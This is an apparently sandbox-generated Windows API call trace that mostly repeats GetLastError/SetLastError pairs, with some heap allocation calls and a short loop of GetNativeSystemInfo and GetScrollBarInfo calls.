[0056.874] GetLastError () returned 0x0 [0056.874] SetLastError (dwErrCode=0x0) [0056.874] GetLastError () returned 0x0 [0056.874] SetLastError (dwErrCode=0x0) [0056.874] GetLastError () returned 0x0 [0056.875] SetLastError (dwErrCode=0x0) [0056.875] GetLastError () returned 0x0 [0056.875] SetLastError (dwErrCode=0x0) [0056.875] GetLastError () returned 0x0 [0056.875] SetLastError (dwErrCode=0x0) [0056.875] GetLastError () returned 0x0 [0056.875] SetLastError (dwErrCode=0x0) [0056.875] GetLastError () returned 0x0 [0056.875] SetLastError (dwErrCode=0x0) [0056.875] GetLastError () returned 0x0 [0056.875] SetLastError (dwErrCode=0x0) [0056.875] GetLastError () returned 0x0 [0056.875] SetLastError (dwErrCode=0x0) [0056.875] GetLastError () returned 0x0 [0056.875] SetLastError (dwErrCode=0x0) [0056.875] GetLastError () returned 0x0 [0056.875] SetLastError (dwErrCode=0x0) [0056.875] GetLastError () returned 0x0 [0056.875] SetLastError (dwErrCode=0x0) [0056.875] GetLastError () returned 0x0 [0056.875] SetLastError (dwErrCode=0x0) [0056.875] GetLastError () returned 0x0 [0056.875] SetLastError (dwErrCode=0x0) [0056.875] GetLastError () returned 0x0 [0056.875] SetLastError (dwErrCode=0x0) [0056.875] GetLastError () returned 0x0 [0056.875] SetLastError (dwErrCode=0x0) [0056.875] GetLastError () returned 0x0 [0056.875] SetLastError (dwErrCode=0x0) [0056.875] GetLastError () returned 0x0 [0056.875] SetLastError (dwErrCode=0x0) [0056.875] GetLastError () returned 0x0 [0056.876] SetLastError (dwErrCode=0x0) [0056.876] GetLastError () returned 0x0 [0056.876] SetLastError (dwErrCode=0x0) [0056.876] GetLastError () returned 0x0 [0056.876] SetLastError (dwErrCode=0x0) [0056.876] GetLastError () returned 0x0 [0056.876] SetLastError (dwErrCode=0x0) [0056.876] GetLastError () returned 0x0 [0056.876] SetLastError (dwErrCode=0x0) [0056.876] GetLastError () returned 0x0 [0056.876] SetLastError (dwErrCode=0x0) [0056.876] GetLastError () returned 0x0 [0056.876] SetLastError (dwErrCode=0x0) [0056.876] GetLastError () returned 0x0 [0056.876] SetLastError (dwErrCode=0x0) [0056.876] GetLastError () returned 0x0 [0056.876] SetLastError (dwErrCode=0x0) [0056.876] GetLastError () returned 0x0 [0056.876] SetLastError (dwErrCode=0x0) [0056.876] GetLastError () returned 0x0 [0056.876] SetLastError (dwErrCode=0x0) [0056.876] GetLastError () returned 0x0 [0056.876] SetLastError (dwErrCode=0x0) [0056.876] GetLastError () returned 0x0 [0056.876] SetLastError (dwErrCode=0x0) [0056.876] GetLastError () returned 0x0 [0056.876] SetLastError (dwErrCode=0x0) [0056.876] GetLastError () returned 0x0 [0056.876] SetLastError (dwErrCode=0x0) [0056.876] GetLastError () returned 0x0 [0056.876] SetLastError (dwErrCode=0x0) [0056.876] GetLastError () returned 0x0 [0056.877] SetLastError (dwErrCode=0x0) [0056.877] GetLastError () returned 0x0 [0056.877] SetLastError (dwErrCode=0x0) [0056.877] GetLastError () returned 0x0 [0056.877] SetLastError (dwErrCode=0x0) [0056.877] GetLastError () returned 0x0 [0056.877] SetLastError (dwErrCode=0x0) [0056.877] GetLastError () returned 0x0 [0056.877] SetLastError (dwErrCode=0x0) [0056.877] GetLastError () returned 0x0 [0056.877] SetLastError (dwErrCode=0x0) [0056.877] GetLastError () returned 0x0 [0056.877] SetLastError (dwErrCode=0x0) [0056.877] GetLastError () returned 0x0 [0056.877] SetLastError (dwErrCode=0x0) [0056.877] GetLastError () returned 0x0 [0056.877] SetLastError (dwErrCode=0x0) [0056.877] GetLastError () returned 0x0 [0056.877] SetLastError (dwErrCode=0x0) [0056.877] GetLastError () returned 0x0 [0056.877] SetLastError (dwErrCode=0x0) [0056.877] GetLastError () returned 0x0 [0056.877] SetLastError (dwErrCode=0x0) [0056.877] GetLastError () returned 0x0 [0056.877] SetLastError (dwErrCode=0x0) [0056.877] GetLastError () returned 0x0 [0056.877] SetLastError (dwErrCode=0x0) [0056.877] GetLastError () returned 0x0 [0056.877] SetLastError (dwErrCode=0x0) [0056.877] GetLastError () returned 0x0 [0056.877] SetLastError (dwErrCode=0x0) [0056.877] GetLastError () returned 0x0 [0056.878] SetLastError (dwErrCode=0x0) [0056.878] GetLastError () returned 0x0 [0056.878] SetLastError (dwErrCode=0x0) [0056.878] GetLastError () returned 0x0 [0056.878] SetLastError (dwErrCode=0x0) [0056.878] GetLastError () returned 0x0 [0056.878] SetLastError (dwErrCode=0x0) [0056.878] GetLastError () returned 0x0 [0056.878] SetLastError (dwErrCode=0x0) [0056.878] GetLastError () returned 0x0 [0056.878] SetLastError (dwErrCode=0x0) [0056.878] GetLastError () returned 0x0 [0056.878] SetLastError (dwErrCode=0x0) [0056.878] GetLastError () returned 0x0 [0056.878] SetLastError (dwErrCode=0x0) [0056.878] GetLastError () returned 0x0 [0056.878] SetLastError (dwErrCode=0x0) [0056.878] GetLastError () returned 0x0 [0056.878] SetLastError (dwErrCode=0x0) [0056.878] GetLastError () returned 0x0 [0056.878] SetLastError (dwErrCode=0x0) [0056.878] GetLastError () returned 0x0 [0056.878] SetLastError (dwErrCode=0x0) [0056.878] GetLastError () returned 0x0 [0056.878] SetLastError (dwErrCode=0x0) [0056.878] GetLastError () returned 0x0 [0056.878] SetLastError (dwErrCode=0x0) [0056.878] GetLastError () returned 0x0 [0056.878] SetLastError (dwErrCode=0x0) [0056.878] GetLastError () returned 0x0 [0056.878] SetLastError (dwErrCode=0x0) [0056.878] GetLastError () returned 0x0 [0056.879] SetLastError (dwErrCode=0x0) [0056.879] GetLastError () returned 0x0 [0056.879] SetLastError (dwErrCode=0x0) [0056.879] GetLastError () returned 0x0 [0056.879] SetLastError (dwErrCode=0x0) [0056.879] GetLastError () returned 0x0 [0056.879] SetLastError (dwErrCode=0x0) [0056.879] GetLastError () returned 0x0 [0056.879] SetLastError (dwErrCode=0x0) [0056.879] GetLastError () returned 0x0 [0056.879] SetLastError (dwErrCode=0x0) [0056.879] GetLastError () returned 0x0 [0056.879] SetLastError (dwErrCode=0x0) [0056.879] GetLastError () returned 0x0 [0056.879] SetLastError (dwErrCode=0x0) [0056.879] GetLastError () returned 0x0 [0056.879] SetLastError (dwErrCode=0x0) [0056.879] GetLastError () returned 0x0 [0056.879] SetLastError (dwErrCode=0x0) [0056.879] GetLastError () returned 0x0 [0056.879] SetLastError (dwErrCode=0x0) [0056.879] GetLastError () returned 0x0 [0056.879] SetLastError (dwErrCode=0x0) [0056.879] GetLastError () returned 0x0 [0056.879] SetLastError (dwErrCode=0x0) [0056.879] GetLastError () returned 0x0 [0056.879] SetLastError (dwErrCode=0x0) [0056.879] GetLastError () returned 0x0 [0056.879] SetLastError (dwErrCode=0x0) [0056.879] GetLastError () returned 0x0 [0056.879] SetLastError (dwErrCode=0x0) [0056.879] GetLastError () returned 0x0 [0056.880] SetLastError (dwErrCode=0x0) [0056.880] GetLastError () returned 0x0 [0056.880] SetLastError (dwErrCode=0x0) [0056.880] GetLastError () returned 0x0 [0056.880] SetLastError (dwErrCode=0x0) [0056.880] GetLastError () returned 0x0 [0056.880] SetLastError (dwErrCode=0x0) [0056.880] GetLastError () returned 0x0 [0056.880] SetLastError (dwErrCode=0x0) [0056.880] GetLastError () returned 0x0 [0056.880] SetLastError (dwErrCode=0x0) [0056.880] GetLastError () returned 0x0 [0056.880] SetLastError (dwErrCode=0x0) [0056.880] GetLastError () returned 0x0 [0056.880] SetLastError (dwErrCode=0x0) [0056.880] GetLastError () returned 0x0 [0056.880] SetLastError (dwErrCode=0x0) [0056.880] GetLastError () returned 0x0 [0056.880] SetLastError (dwErrCode=0x0) [0056.880] GetLastError () returned 0x0 [0056.880] SetLastError (dwErrCode=0x0) [0056.880] GetLastError () returned 0x0 [0056.880] SetLastError (dwErrCode=0x0) [0056.880] GetLastError () returned 0x0 [0056.880] SetLastError (dwErrCode=0x0) [0056.880] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x6f) returned 0x6307c0 [0056.880] GetLastError () returned 0x0 [0056.880] SetLastError (dwErrCode=0x0) [0056.880] GetLastError () returned 0x0 [0056.880] SetLastError (dwErrCode=0x0) [0056.880] GetLastError () returned 0x0 [0056.880] SetLastError (dwErrCode=0x0) [0056.880] GetLastError () returned 0x0 [0056.881] SetLastError (dwErrCode=0x0) [0056.881] GetLastError () returned 0x0 [0056.881] SetLastError (dwErrCode=0x0) [0056.881] GetLastError () returned 0x0 [0056.881] SetLastError (dwErrCode=0x0) [0056.881] GetLastError () returned 0x0 [0056.881] SetLastError (dwErrCode=0x0) [0056.881] GetLastError () returned 0x0 [0056.881] SetLastError (dwErrCode=0x0) [0056.881] GetLastError () returned 0x0 [0056.881] SetLastError (dwErrCode=0x0) [0056.881] GetLastError () returned 0x0 [0056.881] SetLastError (dwErrCode=0x0) [0056.881] GetLastError () returned 0x0 [0056.881] SetLastError (dwErrCode=0x0) [0056.881] GetLastError () returned 0x0 [0056.881] SetLastError (dwErrCode=0x0) [0056.881] GetLastError () returned 0x0 [0056.881] SetLastError (dwErrCode=0x0) [0056.881] GetLastError () returned 0x0 [0056.881] SetLastError (dwErrCode=0x0) [0056.881] GetLastError () returned 0x0 [0056.881] SetLastError (dwErrCode=0x0) [0056.881] GetLastError () returned 0x0 [0056.881] SetLastError (dwErrCode=0x0) [0056.881] GetLastError () returned 0x0 [0056.881] SetLastError (dwErrCode=0x0) [0056.881] GetLastError () returned 0x0 [0056.881] SetLastError (dwErrCode=0x0) [0056.881] GetLastError () returned 0x0 [0056.881] SetLastError (dwErrCode=0x0) [0056.881] GetLastError () returned 0x0 [0056.882] SetLastError (dwErrCode=0x0) [0056.882] GetLastError () returned 0x0 [0056.882] SetLastError (dwErrCode=0x0) [0056.882] GetLastError () returned 0x0 [0056.882] SetLastError (dwErrCode=0x0) [0056.882] GetLastError () returned 0x0 [0056.882] SetLastError (dwErrCode=0x0) [0056.882] GetLastError () returned 0x0 [0056.882] SetLastError (dwErrCode=0x0) [0056.882] GetLastError () returned 0x0 [0056.882] SetLastError (dwErrCode=0x0) [0056.882] GetLastError () returned 0x0 [0056.882] SetLastError (dwErrCode=0x0) [0056.882] GetLastError () returned 0x0 [0056.882] SetLastError (dwErrCode=0x0) [0056.882] GetLastError () returned 0x0 [0056.882] SetLastError (dwErrCode=0x0) [0056.882] GetLastError () returned 0x0 [0056.882] SetLastError (dwErrCode=0x0) [0056.882] GetLastError () returned 0x0 [0056.882] SetLastError (dwErrCode=0x0) [0056.882] GetLastError () returned 0x0 [0056.882] SetLastError (dwErrCode=0x0) [0056.882] GetLastError () returned 0x0 [0056.882] SetLastError (dwErrCode=0x0) [0056.882] GetLastError () returned 0x0 [0056.882] SetLastError (dwErrCode=0x0) [0056.882] GetLastError () returned 0x0 [0056.882] SetLastError (dwErrCode=0x0) [0056.882] GetLastError () returned 0x0 [0056.883] SetLastError (dwErrCode=0x0) [0056.883] GetLastError () returned 0x0 [0056.883] SetLastError (dwErrCode=0x0) [0056.883] GetLastError () returned 0x0 [0056.883] SetLastError (dwErrCode=0x0) [0056.883] GetLastError () returned 0x0 [0056.883] SetLastError (dwErrCode=0x0) [0056.883] GetLastError () returned 0x0 [0056.883] SetLastError (dwErrCode=0x0) [0056.883] GetLastError () returned 0x0 [0056.883] SetLastError (dwErrCode=0x0) [0056.883] GetLastError () returned 0x0 [0056.883] SetLastError (dwErrCode=0x0) [0056.883] GetLastError () returned 0x0 [0056.883] SetLastError (dwErrCode=0x0) [0056.883] GetLastError () returned 0x0 [0056.883] SetLastError (dwErrCode=0x0) [0056.883] GetLastError () returned 0x0 [0056.883] SetLastError (dwErrCode=0x0) [0056.883] GetLastError () returned 0x0 [0056.883] SetLastError (dwErrCode=0x0) [0056.883] GetLastError () returned 0x0 [0056.883] SetLastError (dwErrCode=0x0) [0056.883] GetLastError () returned 0x0 [0056.883] SetLastError (dwErrCode=0x0) [0056.883] GetLastError () returned 0x0 [0056.883] SetLastError (dwErrCode=0x0) [0056.883] GetLastError () returned 0x0 [0056.883] SetLastError (dwErrCode=0x0) [0056.883] GetLastError () returned 0x0 [0056.883] SetLastError (dwErrCode=0x0) [0056.883] GetLastError () returned 0x0 [0056.883] SetLastError (dwErrCode=0x0) [0056.884] GetLastError () returned 0x0 [0056.884] SetLastError (dwErrCode=0x0) [0056.884] GetLastError () returned 0x0 [0056.884] SetLastError (dwErrCode=0x0) [0056.884] GetLastError () returned 0x0 [0056.884] SetLastError (dwErrCode=0x0) [0056.884] GetLastError () returned 0x0 [0056.884] SetLastError (dwErrCode=0x0) [0056.884] GetLastError () returned 0x0 [0056.884] SetLastError (dwErrCode=0x0) [0056.884] GetLastError () returned 0x0 [0056.884] SetLastError (dwErrCode=0x0) [0056.884] GetLastError () returned 0x0 [0056.884] SetLastError (dwErrCode=0x0) [0056.884] GetLastError () returned 0x0 [0056.884] SetLastError (dwErrCode=0x0) [0056.884] GetLastError () returned 0x0 [0056.884] SetLastError (dwErrCode=0x0) [0056.884] GetLastError () returned 0x0 [0056.884] SetLastError (dwErrCode=0x0) [0056.884] GetLastError () returned 0x0 [0056.884] SetLastError (dwErrCode=0x0) [0056.884] GetLastError () returned 0x0 [0056.884] SetLastError (dwErrCode=0x0) [0056.884] GetLastError () returned 0x0 [0056.884] SetLastError (dwErrCode=0x0) [0056.884] GetLastError () returned 0x0 [0056.884] SetLastError (dwErrCode=0x0) [0056.884] GetLastError () returned 0x0 [0056.884] SetLastError (dwErrCode=0x0) [0056.884] GetLastError () returned 0x0 [0056.885] SetLastError (dwErrCode=0x0) [0056.885] GetLastError () returned 0x0 [0056.885] SetLastError (dwErrCode=0x0) [0056.885] GetLastError () returned 0x0 [0056.885] SetLastError (dwErrCode=0x0) [0056.885] GetLastError () returned 0x0 [0056.885] SetLastError (dwErrCode=0x0) [0056.885] GetLastError () returned 0x0 [0056.885] SetLastError (dwErrCode=0x0) [0056.885] GetLastError () returned 0x0 [0056.885] SetLastError (dwErrCode=0x0) [0056.885] GetLastError () returned 0x0 [0056.885] SetLastError (dwErrCode=0x0) [0056.885] GetLastError () returned 0x0 [0056.885] SetLastError (dwErrCode=0x0) [0056.885] GetLastError () returned 0x0 [0056.885] SetLastError (dwErrCode=0x0) [0056.885] GetLastError () returned 0x0 [0056.885] SetLastError (dwErrCode=0x0) [0056.885] GetLastError () returned 0x0 [0056.885] SetLastError (dwErrCode=0x0) [0056.885] GetLastError () returned 0x0 [0056.885] SetLastError (dwErrCode=0x0) [0056.885] GetLastError () returned 0x0 [0056.885] SetLastError (dwErrCode=0x0) [0056.885] GetLastError () returned 0x0 [0056.885] SetLastError (dwErrCode=0x0) [0056.885] GetLastError () returned 0x0 [0056.885] SetLastError (dwErrCode=0x0) [0056.885] GetLastError () returned 0x0 [0056.885] SetLastError (dwErrCode=0x0) [0056.885] GetLastError () returned 0x0 [0056.886] SetLastError (dwErrCode=0x0) [0056.886] GetLastError () returned 0x0 [0056.886] SetLastError (dwErrCode=0x0) [0056.886] GetLastError () returned 0x0 [0056.886] SetLastError (dwErrCode=0x0) [0056.886] GetLastError () returned 0x0 [0056.886] SetLastError (dwErrCode=0x0) [0056.886] GetLastError () returned 0x0 [0056.886] SetLastError (dwErrCode=0x0) [0056.886] GetLastError () returned 0x0 [0056.886] SetLastError (dwErrCode=0x0) [0056.886] GetLastError () returned 0x0 [0056.886] SetLastError (dwErrCode=0x0) [0056.886] GetLastError () returned 0x0 [0056.886] SetLastError (dwErrCode=0x0) [0056.886] GetLastError () returned 0x0 [0056.886] SetLastError (dwErrCode=0x0) [0056.886] GetLastError () returned 0x0 [0056.886] SetLastError (dwErrCode=0x0) [0056.886] GetLastError () returned 0x0 [0056.886] SetLastError (dwErrCode=0x0) [0056.886] GetLastError () returned 0x0 [0056.886] SetLastError (dwErrCode=0x0) [0056.886] GetLastError () returned 0x0 [0056.886] SetLastError (dwErrCode=0x0) [0056.886] GetLastError () returned 0x0 [0056.886] SetLastError (dwErrCode=0x0) [0056.886] GetLastError () returned 0x0 [0056.886] SetLastError (dwErrCode=0x0) [0056.886] GetLastError () returned 0x0 [0056.886] SetLastError (dwErrCode=0x0) [0056.886] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x98) returned 0x630838 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1f) returned 0x631810 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x36) returned 0x6308d8 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x37) returned 0x633cf8 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3c) returned 0x633d38 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x31) returned 0x633d80 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x17) returned 0x630918 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x24) returned 0x633dc0 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x14) returned 0x633df0 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0xd) returned 0x630af0 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x25) returned 0x633e10 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x39) returned 0x633e40 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x18) returned 0x633e88 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x17) returned 0x633ea8 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0xe) returned 0x630b08 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x69) returned 0x633ec8 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x3e) returned 0x633f40 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1b) returned 0x631838 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1d) returned 0x631860 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x48) returned 0x633f88 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x12) returned 0x632a88 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x18) returned 0x632aa8 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1b) returned 0x631888 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x24) returned 0x632ac8 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x29) returned 0x632af8 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1e) returned 0x6318b0 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x41) returned 0x632b30 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x17) returned 0x632b80 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0xf) returned 0x630b20 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x16) returned 0x632ba0 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2a) returned 0x632bc0 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x29) returned 0x632bf8 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x15) returned 0x632c30 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x1e) returned 0x6318d8 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2a) returned 0x632c50 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x12) returned 0x632c88 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x18) returned 0x632ca8 [0056.887] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x46) returned 0x632cc8 [0056.887] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x633560 | out: hHeap=0x620000) returned 1 [0056.888] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x80) returned 0x632d18 [0056.888] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x800) returned 0x632da0 [0056.888] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0056.888] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0056.888] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4121fd) returned 0x0 [0056.888] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x632d18) returned 0x80 [0056.889] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x632d18) returned 0x80 [0056.889] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x632d18) returned 0x80 [0056.889] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x632d18) returned 0x80 [0056.889] GetLastError () returned 0x0 [0056.889] SetLastError (dwErrCode=0x0) [0056.889] GetLastError () returned 0x0 [0056.889] SetLastError (dwErrCode=0x0) [0056.889] GetLastError () returned 0x0 [0056.889] SetLastError (dwErrCode=0x0) [0056.889] GetLastError () returned 0x0 [0056.889] SetLastError (dwErrCode=0x0) [0056.889] GetLastError () returned 0x0 [0056.889] SetLastError (dwErrCode=0x0) [0056.889] GetLastError () returned 0x0 [0056.890] SetLastError (dwErrCode=0x0) [0056.890] GetLastError () returned 0x0 [0056.890] SetLastError (dwErrCode=0x0) [0056.890] GetLastError () returned 0x0 [0056.890] SetLastError (dwErrCode=0x0) [0056.890] GetLastError () returned 0x0 [0056.890] SetLastError (dwErrCode=0x0) [0056.890] GetLastError () returned 0x0 [0056.890] SetLastError (dwErrCode=0x0) [0056.890] GetLastError () returned 0x0 [0056.890] SetLastError (dwErrCode=0x0) [0056.890] GetLastError () returned 0x0 [0056.890] SetLastError (dwErrCode=0x0) [0056.890] GetLastError () returned 0x0 [0056.890] SetLastError (dwErrCode=0x0) [0056.890] GetLastError () returned 0x0 [0056.890] SetLastError (dwErrCode=0x0) [0056.890] GetLastError () returned 0x0 [0056.890] SetLastError (dwErrCode=0x0) [0056.890] GetLastError () returned 0x0 [0056.890] SetLastError (dwErrCode=0x0) [0056.890] GetLastError () returned 0x0 [0056.890] SetLastError (dwErrCode=0x0) [0056.890] GetLastError () returned 0x0 [0056.890] SetLastError (dwErrCode=0x0) [0056.890] GetLastError () returned 0x0 [0056.890] SetLastError (dwErrCode=0x0) [0056.890] GetLastError () returned 0x0 [0056.890] SetLastError (dwErrCode=0x0) [0056.890] GetLastError () returned 0x0 [0056.890] SetLastError (dwErrCode=0x0) [0056.890] GetLastError () returned 0x0 [0056.891] SetLastError (dwErrCode=0x0) [0056.891] GetLastError () returned 0x0 [0056.891] SetLastError (dwErrCode=0x0) [0056.891] GetLastError () returned 0x0 [0056.891] SetLastError (dwErrCode=0x0) [0056.891] GetLastError () returned 0x0 [0056.891] SetLastError (dwErrCode=0x0) [0056.891] GetLastError () returned 0x0 [0056.891] SetLastError (dwErrCode=0x0) [0056.891] GetLastError () returned 0x0 [0056.891] SetLastError (dwErrCode=0x0) [0056.891] GetLastError () returned 0x0 [0056.891] SetLastError (dwErrCode=0x0) [0056.891] GetLastError () returned 0x0 [0056.891] SetLastError (dwErrCode=0x0) [0056.891] GetLastError () returned 0x0 [0056.891] SetLastError (dwErrCode=0x0) [0056.891] GetLastError () returned 0x0 [0056.891] SetLastError (dwErrCode=0x0) [0056.891] GetLastError () returned 0x0 [0056.891] SetLastError (dwErrCode=0x0) [0056.891] GetLastError () returned 0x0 [0056.891] SetLastError (dwErrCode=0x0) [0056.891] GetLastError () returned 0x0 [0056.891] SetLastError (dwErrCode=0x0) [0056.891] GetLastError () returned 0x0 [0056.891] SetLastError (dwErrCode=0x0) [0056.891] GetLastError () returned 0x0 [0056.891] SetLastError (dwErrCode=0x0) [0056.891] GetLastError () returned 0x0 [0056.891] SetLastError (dwErrCode=0x0) [0056.891] GetLastError () returned 0x0 [0056.892] SetLastError (dwErrCode=0x0) [0056.892] GetLastError () returned 0x0 [0056.892] SetLastError (dwErrCode=0x0) [0056.892] GetLastError () returned 0x0 [0056.892] SetLastError (dwErrCode=0x0) [0056.892] GetLastError () returned 0x0 [0056.892] SetLastError (dwErrCode=0x0) [0056.892] GetLastError () returned 0x0 [0056.892] SetLastError (dwErrCode=0x0) [0056.892] GetLastError () returned 0x0 [0056.892] SetLastError (dwErrCode=0x0) [0056.892] GetLastError () returned 0x0 [0056.892] SetLastError (dwErrCode=0x0) [0056.892] GetLastError () returned 0x0 [0056.892] SetLastError (dwErrCode=0x0) [0056.892] GetLastError () returned 0x0 [0056.892] SetLastError (dwErrCode=0x0) [0056.892] GetMessageTime () returned 0 [0056.893] GetLastError () returned 0x0 [0056.893] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.893] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.893] GetMessageTime () returned 0 [0056.893] GetLastError () returned 0x578 [0056.893] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.893] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.893] GetMessageTime () returned 0 [0056.893] GetLastError () returned 0x578 [0056.893] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.893] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.893] GetMessageTime () returned 0 [0056.893] GetLastError () returned 0x578 [0056.893] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.893] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.893] GetMessageTime () returned 0 [0056.893] GetLastError () returned 0x578 [0056.893] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.893] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.893] GetMessageTime () returned 0 [0056.893] GetLastError () returned 0x578 [0056.893] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.894] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.894] GetMessageTime () returned 0 [0056.894] GetLastError () returned 0x578 [0056.894] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0056.894] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0056.894] GetMessageTime () returned 0 [0056.894] GetLastError () returned 0x578 [0056.894] 